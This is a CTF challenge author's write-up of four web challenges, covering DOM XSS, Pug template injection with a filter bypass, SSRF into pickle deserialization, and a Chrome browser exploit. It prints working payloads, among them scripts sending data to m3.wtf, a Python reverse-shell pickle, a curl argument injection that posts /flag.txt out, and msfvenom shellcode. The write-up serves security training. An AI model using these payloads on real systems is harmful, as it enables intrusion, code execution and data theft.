STMCTF2021 Web Category Writeups

STMCTF2021 Web Writeups

I did my internship at STM this summer. During my internship, I prepared the Web category for STMCTF2021 with 4 challenges including 6 flags in total.

In this writeup, I will try to cover the solutions, methodology I followed while preparing the challenges, difficulties I faced and how I solved them.

There are unintentional/other solutions as well so I will try to mention the ones I happened to learn. I think the overall difficulty of the challenges was easy.

I hope you enjoyed it !

BountyPlsSir

Introduction

BountyPlsSir a bug bounty platform mockup. There is an imaginary triager at the backend that clicks on your PoC URL to reproduce the bug. There is a Dom-based XSS on the application, so players can trick imaginary triager to click on xssed links to access sensitive data.

References I made in this challenge might seem offensive to some people but I had no such intentions really, they were some inside jokes we use against the infosec charlatans so if you are not one, you don’t need to worry =).

It had 3 stages and 3 flags. Players didn’t have access to source code of the application.

Challenge

Players were expected to find a Dom-based XSS, weaponize it and use it to read the Admin’s submissions.

After clicking on the Any updates sir! button, a bot at the backend visits the PoC link of the bug submitted

In this application, error strings are defined on client side.

Code block that is responsible for error code determination on server side

1
2
3
@app.errorhandler(404)
def page_not_found(e):
return render_template("not-found.html",error_code=404), 404

Contents of not-found.html,

1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<script src="{{ url_for('static',filename='js/error.js') }}"></script>
</head>
<body onload=determineErrorTxt()>
<p id="error-code">{{ error_code }}</p>
<p id="error-message"></p>

</body>

</html>

So if the content is not found or 404 response code returned, the server renders the not-found.html template with error_code passed, which is 404. If an errocode parameter is supplied, error string can be determined on client side.

This might look like an okay design choice and might allow dynamic error string determination on client side but the way it is done is not okay. Error codes are determined with an eval statement in JS.

Story Behind It

I tried to prepare every challenge in a logical and not guessy way. In fact, the bug I used here was a bug I found in real life on a bugbounty program.

With some little modifications, I wanted to use it in this challenge.

Weaponizing the bug

Popping alert,

1
http://localhost:5000/invalidendpoint123?errorcode=500;alert(document.domain)

Converting it to include javascript files,

1
http://localhost:5000/asdasd?errorcode=401,document.body.appendChild(document.createElement("script")),document.body.getElementsByTagName("script")[0].src="//m3.wtf:9001/x.js",console.log

Players were expected to submit a PoC like shown in the example and click on the Any updates sir ? button.

1st Flag

Contents of x.js,

1
2
3
4
5
fetch("http://localhost:5000/dashboard").then(function(response) {
response.text().then(function(text) {
window.location.href="http://m3.wtf:9002/?handler=" + btoa(text);
});
});

2nd Flag

As can be read from the admin’s submission, there is an internal web server running on an unknown port. Players were expected to run a portscan with js considering the common web ports.

In order for players not to have much difficulties while scanning, I expanded the CORS a bit like below,

1
2
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");

Contents of x2.js,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const fetchWithTimeout = (url, options = {}) => {
const { timeout = 2500, ...fetchOptions } = options
return Promise.race([
fetch(url, fetchOptions),
new Promise((_, reject) => {
setTimeout(() => {
reject(
new Error(
`Request for ${url} timed out after ${timeout} milliseconds`,
),
)
}, timeout)
}),
])
}


let port_arr = [81, 300, 591, 593, 832, 981, 1010, 1311, 2082, 2087, 2095, 2096, 2480, 3000, 3128, 3333, 4243, 4567, 4711, 4712, 4993, 5000, 5104, 5108, 5800, 6543, 7000, 7396, 7474, 8000, 8001, 8008, 8014, 8042, 8069, 8080, 8081, 8088, 8090, 8091, 8118, 8123, 8172, 8222, 8243, 8280, 8281, 8333, 8443, 8500, 8834, 8880, 8888, 8983, 9000, 9043, 9060, 9080, 9090, 9091, 9200, 9443, 9800, 9981, 12443, 16080, 18091, 18092, 20720, 28017];

for (var i = 0; i < port_arr.length; i++) {
fetchWithTimeout(`http://localhost:${port_arr[i]}`,{timeout:2000}).then(function(response) {
response.text().then(function(text) {
fetchWithTimeout("http://m3.wtf:9002/handler?=" + response.url + "->" + btoa(text));

});
});
}

After sending a request with the debug parameter, 2nd flag could be obtained.

3rd Flag

The internal web server has the following code block,

1
$output = shell_exec(escapeshellcmd('curl '.$_POST['supersecreturl']));

Although it might look like a command injection vulnerability, it is not. escapeshellcmd is a pretty much a secure function and it’s very hard to do injection here. However, we can do an argument injection and read local files.

After googling escapeshellcmd bypass, a couple of methods comes up and we can see that there is a method for curl.

https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md#curl

Contents of x3.js,

1
2
3
4
5
6
7
fetch('http://localhost:8081/index.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: "supersecreturl=-F password=@/flag.txt http://m3.wtf:9002"
});

Unintended-Other Solutions

For the xss, on PoC url field javascript:* wrapper could be used which I didn’t think of it when preparing but it’s not a bad solution and almost at the same level with the first bug so all good I guess.

1
javascript:eval('var script = document.createElement("script");script.src = "http://<attacker>/evil.js";document.getElementsByTagName("head")[0].appendChild(script);')

Summary & Extras

Implementing a visitor bot was a bit hard at for me because the base structure of the challenge was dependent on it. It had to be working properly on high traffic or on weird cases.

I was confident with the 1st flag because at the end of the day it was a real life scenario. It wasn’t guessy and required a basic audit of the application.

I was scared of the 2nd flag so much and it lead to picking internal server’s port to be a web server port. I, first, wanted it to be randomly generated on startups (where it would also be different for each team) but I could not find a way to run a port scan for all 65k ports consistently in one request(I am not even sure if it’s doable anyways). Players would probably come up with a solution or they would probably find it after spending some time but it would be very time consuming and demotivating so I picked a common web port and shrinked the attack surface a lot. Also, they could just chose nmap’s first 1000 port and it would be fine.

3rd flag was very straight-forward and easy. It was kind of an awarding flag for the players after passing the first and second flags.

References

https://portswigger.net/web-security/cross-site-scripting/dom-based
https://github.com/qxxxb/ctf/tree/master/2021/angstrom_ctf/watered_down_watermark
https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md

Pugb

Introduction

Pugb is a blind server side pug template injection challenge with some filters. Out of band connections are not allowed such as reverse shell. Players have to figure out a way to exfiltrate data.

Challenge

Players were given the source code of the application.

There is a firewall in place blocks all the out of band connections. There were some issues with this during the CTF which were out of my control. Some players were able to get reverse connections.

1
2
3
4
5
6
7
docker run --rm -it --cap-add=NET_ADMIN -p 7000:7000 pugb bash 
apt install ufw -y
ufw default deny outgoing
ufw default deny incoming
ufw allow 7000
ufw enable
cd /app && npm start

After reading the source code it becomes pretty obvious that json parameter val is vulnerable to server side pug template injection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app.post('/flag', (req,res) => {

req.body = JSON.parse(req.body);
var check = blacklist(req.body.val);

if (check === true){
res.send("Time, Dr. Freeman?");
}
else{
let template = `
doctype html
html
head
title Challenge
body
p pug example
|Please dont pwn me, I beg you
|${req.body.val}`
let html = pug.render(template);
//res.send(html);
res.send("Is it really that time again ?");
}

})

However, there are some filters that blocks executing commands right away.

1
2
3
4
5
6
7
8
9
10
function blacklist(str) {
let banned_words = ["localLoad", "global", "constructor", "eval", "_load", "process", "mainModule", "require", "child_process", "exec"]; // haha you cant execute codes
let arr_len = banned_words.length;
for (var i = 0; i < arr_len; i++) {
const trigger = str.includes(banned_words[i]);
if (trigger === true) {
return true
}
}
}

After removing the comment on the response, you can start testing the application locally.

There are very different solutions to bypass this filter which I intentionally designed it to be so.

For example, unicode encoding can be used to bypass this filter.

1
2
3
4
5
6
7
8
9
10
11
12
>>> def to_unicode(p):
... x = ""
... for i in p:
... #print(hex(ord(i)))
... if(i.isnumeric() or i.isalpha()):
... x += f"\\u{{0{hex(ord(i))[2:]}}}"
... else:
... x += i
... return x
...
>>> to_unicode("process")
'\\u{070}\\u{072}\\u{06f}\\u{063}\\u{065}\\u{073}\\u{073}'

The server uses the line below. Which allows routing /static under /. Players can write under /static and read it from /

1
app.use(express.static('static'))
1
2
>>> to_unicode("process.mainModule.require('child_process').exec('id > /app/static/x && cat /flag* >> /app/static/x')")
"\\u{070}\\u{072}\\u{06f}\\u{063}\\u{065}\\u{073}\\u{073}.\\u{06d}\\u{061}\\u{069}\\u{06e}\\u{04d}\\u{06f}\\u{064}\\u{075}\\u{06c}\\u{065}.\\u{072}\\u{065}\\u{071}\\u{075}\\u{069}\\u{072}\\u{065}('\\u{063}\\u{068}\\u{069}\\u{06c}\\u{064}_\\u{070}\\u{072}\\u{06f}\\u{063}\\u{065}\\u{073}\\u{073}').\\u{065}\\u{078}\\u{065}\\u{063}('\\u{069}\\u{064} > /\\u{061}\\u{070}\\u{070}/\\u{073}\\u{074}\\u{061}\\u{074}\\u{069}\\u{063}/\\u{078} && \\u{063}\\u{061}\\u{074} /\\u{066}\\u{06c}\\u{061}\\u{067}* >> /\\u{061}\\u{070}\\u{070}/\\u{073}\\u{074}\\u{061}\\u{074}\\u{069}\\u{063}/\\u{078}')"

Unintended-Other Solutions

There were two steps in this challange so for the first step, filter bypass, I’ve seen people using jsfuck, jjencode or hex encode with calling new function like new Function(“\x41\x41”)() etc.

For the last step, I’ve seen methods being used like, throwing new exception, writing to /static/index.html, getting reverse shell directly etc.

Summary & Extras

Overall, I am pleased with the challenge. It was a straight forward challenge but it pushed players to search and find new methods which exactly what I wanted to happen.

An additional unnecessary information,
So I discovered this bypass method(which obviously not a big one) while doing a research about pug template injections. A couple of weeks after I’m done with the challenge an advisory about confluence was published, CVE-2021-26084. They used a very similar method of bypass there to get RCE and having to see a similar method like mine being used there felt good :D

https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

References

https://blog.p6.is/AST-Injection/
https://blog.p6.is/Web-Security-CheatSheet/
https://www.programmersought.com/article/67145983527/
https://blog.p6.is/Real-World-JS-1/
https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
https://www.picussecurity.com/resource/blog/simulating-atlassian-confluence-server-remote-code-execution-exploit

Pickle-Rick

Introduction

Pickle rick is a proxy application to hide your traffic. It is vulnerable to SSRF. There are some paths that are blocked to outside world. Players, however, can access them by abusing the SSRF. One of the blocked paths is vulnerable to pickle insecure object deserialization. Flag.txt is read to a file and removed after the start so players have to find a way to read the flag.

Challenge

With some little content discovery, following endpoints could be found

1
2
3
4
/api/restore
/api/visit
/console
/dashboard

/dashboard and /api/restore are forbbiden to outside world.

By abusing the ssrf, players can access them

Visiting the /api/restore using SSRF reveals partial source code of the application.

Following code block leaked through error message.

1
2
decoded_d = base64.urlsafe_b64decode(request.args.get("d"))
restored_obj = pickle.loads(decoded_d)

After getting RCE, following code block can be obtained.

1
2
3
4
5
@app.before_first_request
def initialize():
global flag
flag = os.popen(f"cat {os.getcwd()}/flag.txt","r").read()
os.remove(f"{os.getcwd()}/flag.txt")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import pickle
import base64
import os
import requests
import json

class reverse_shell:
def __reduce__(self):
host = "localhost"
port = 9001
payload = f"""import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"{host}\",{port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);"""
cmd = (f"python3 -c '{payload}'")
print(cmd)
return os.system, (cmd,)

class enumerate_global_variables:
def __reduce__(self):
return (eval, ("list(globals().keys())",))

class file_write(object):
def __reduce__(self):
return (eval, ("open('/tmp/flag','w').write(flag)",))

flag = ""
class flag_open(object):
def __reduce__(self):
return (eval, ("""open(f"{flag}")""",))


pickled = pickle.dumps(flag_redirect())
payload = base64.urlsafe_b64encode(pickled).decode()
print(payload)
"""
r = requests.get(f"http://172.23.3.103:1337/api/visit?u=http://localhost:1337/api/restore?d={payload}")
r = json.loads(r.text)
r = requests.get(f"http://172.23.3.103:1337/pages/{str(r['id'])}")
print(r.text)
"""

Unintended-Other Solutions

Only part in this challenge could be different was leaking the flag. Players used following methods to leak the flag, writing the flag to a file and reading it from the reverse shell, throw a new exception, make server error out with the flag, modify one of the keys of the pages dictionary with flag etc.

Summary & Extras

Dockers were in restart on crash mode and somehow the dockers kept crashing. The reason for this was probably the heavy load players were making. Players were getting the following error message after the crash because after the restart there wasn’t any flag as it was deleted at the first start. This was beyond my control again but unfortunately it happened.

I was happy with the challenge overall except the issue I explained above. The only thing could be considered as guessy was the content discovery part but it was not something heavy and with a very simple wordlist it could be found.

References

https://frichetten.com/blog/escalating-deserialization-attacks-python/
https://intoli.com/blog/dangerous-pickles/
https://stackoverflow.com/questions/32147761/flask-request-hangs-forever

Fullchain

Introduction

Fullchain is a screenshot taker application. It uses pypeeteer with chrome flags below. The chrome version is an outdated one and there is a public browser exploit for it. It runs chrome via --no-sandbox flag which removes the requirement for a sandbox escape bug in the browser exploit. Players are expected to use a browser exploit to get RCE on the server and read the flag.

1
2
3
4
5
6
7
8
9
browser = await launch(
{
"executablePath": '/opt/chromium/chrome',
"ignoreHTTPSErrors": True,
"args": ["--no-sandbox"],
"headless": True,
"test-type": True,
}
);

Challenge

A meme welcomes us at /, which gives a hint to a browser exploit.

Looking at the source code we can see that server is executing /opt/takescreenshot.py script if a GET parameter url supplied. Players might think that there is a command injection vulnerability but escapeshellcmd is pretty much a secure function so no command injection.

Looking at the user agent, it’s an outdated chrome version.

1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4471.0 Safari/537.36

At the time I was preparing the challenge the latest version of chrome was around 92-93 so it is wasn’t a very old one.

Searching for the chrome version might not bring an exploit for it but there is an exploit fixed at the version 87.0.4280.88 that still works.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16040

As I’ve heard from some friends, sandbox escape was the one was fixed at that version but the RCE remained unfixed. I don’t know about the browser exploits other than the idea behind it so I really don’t know what is the reason why it works at version 91.0.4471.

The idea of an exploit can still work at a “fixed” version is pretty cool in my opinion and I prepared this challenge to show people that.

Exploit

We can leak the flag using a payload like this below and I am going to be preparing the exploit for this command.

1
wget http://m3.wtf:9001/`base64 /flag.txt`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@slave3001 ~/ctf/stmctf/fullchain
❯ msfvenom -p linux/x64/exec CMD="wget http://m3.wtf:9002/\`base64 /flag.txt\`" EXITFUNC=thread -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 79 bytes
Final size of c file: 358 bytes
unsigned char buf[] =
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52"
"\x66\x68\x2d\x63\x54\x5e\x52\xe8\x2b\x00\x00\x00\x77\x67\x65"
"\x74\x20\x68\x74\x74\x70\x3a\x2f\x2f\x6d\x33\x2e\x77\x74\x66"
"\x3a\x39\x30\x30\x32\x2f\x60\x62\x61\x73\x65\x36\x34\x20\x2f"
"\x66\x6c\x61\x67\x2e\x74\x78\x74\x60\x00\x56\x57\x54\x5e\x6a"
"\x3b\x58\x0f\x05";

Convert the generated shellcode to a format that exploit uses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@slave3001 ~/ctf/stmctf/fullchain
❯ cat sc.js
var shellcode = "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52"
+ "\x66\x68\x2d\x63\x54\x5e\x52\xe8\x2b\x00\x00\x00\x77\x67\x65"
+ "\x74\x20\x68\x74\x74\x70\x3a\x2f\x2f\x6d\x33\x2e\x77\x74\x66"
+ "\x3a\x39\x30\x30\x31\x2f\x60\x62\x61\x73\x65\x36\x34\x20\x2f"
+ "\x66\x6c\x61\x67\x2e\x74\x78\x74\x60\x00\x56\x57\x54\x5e\x6a"
+ "\x3b\x58\x0f\x05";

while(shellcode.length % 4)
shellcode += "\x90";

var buf = new ArrayBuffer(shellcode.length);
var arr = new Uint32Array(buf);
var u8_arr = new Uint8Array(buf);

for(var i=0;i<shellcode.length;++i)
u8_arr[i] = shellcode.charCodeAt(i);

console.log(arr);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@slave3001 ~/ctf/stmctf/fullchain 16s
❯ node sc.js
Uint32Array(20) [
1647294536, 1932488297,
1352204392, 1716674388,
1415785832, 736645726,
1996488704, 544499047,
1886680168, 1831808826,
1953967667, 809056870,
1613705520, 1702060386,
790639670, 1734437990,
1954051118, 1465253984,
996826708, 2416250712
]

Replace the generated shellcode to the the shellcode variable in exp.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
...

var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));
var shellcode = [
1647294536, 1932488297,
1352204392, 1716674388,
1415785832, 736645726,
1996488704, 544499047,
1886680168, 1831808826,
1953967667, 809056870,
1613705776, 1702060386,
790639670, 1734437990,
1954051118, 1465253984,
996826708, 2416250712
]

copy_shellcode(rwx_page_addr, shellcode);
f();

...

Serve it and make the server take a screenshot of it

Disaster

While preparing the challenge, I actually thought about this and prevented this from happening but somehow I still forgot to put the corresponding code block into the actual repository I had for the challenges.

So an unintended method is just giving file:// wrapper

The challenge unfortunately happened to be published like that and it got taken down because it would be unfair and waste of time :(

Summary & Extras

This was also a pretty straight forward challenge. The keypoint and learning outcome on this challenge was to be careful about the browser exploits and to use the browser always with sandbox enabled because apparently RCEs on the browsers is not something uncommon. Eventhough it looks like its fixed, it might actually not be.

Resources

https://github.com/r4j0x00/exploits/blob/master/CVE-2020-16040/exploit.js
https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-operation-wizardopium/94866/
https://stackoverflow.com/questions/65661064/puppeteer-no-sandbox-security-risk
https://medium.com/nerd-for-tech/hacking-puppeteer-what-to-expect-if-you-put-a-browser-on-the-internet-6c3dad0756db
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16040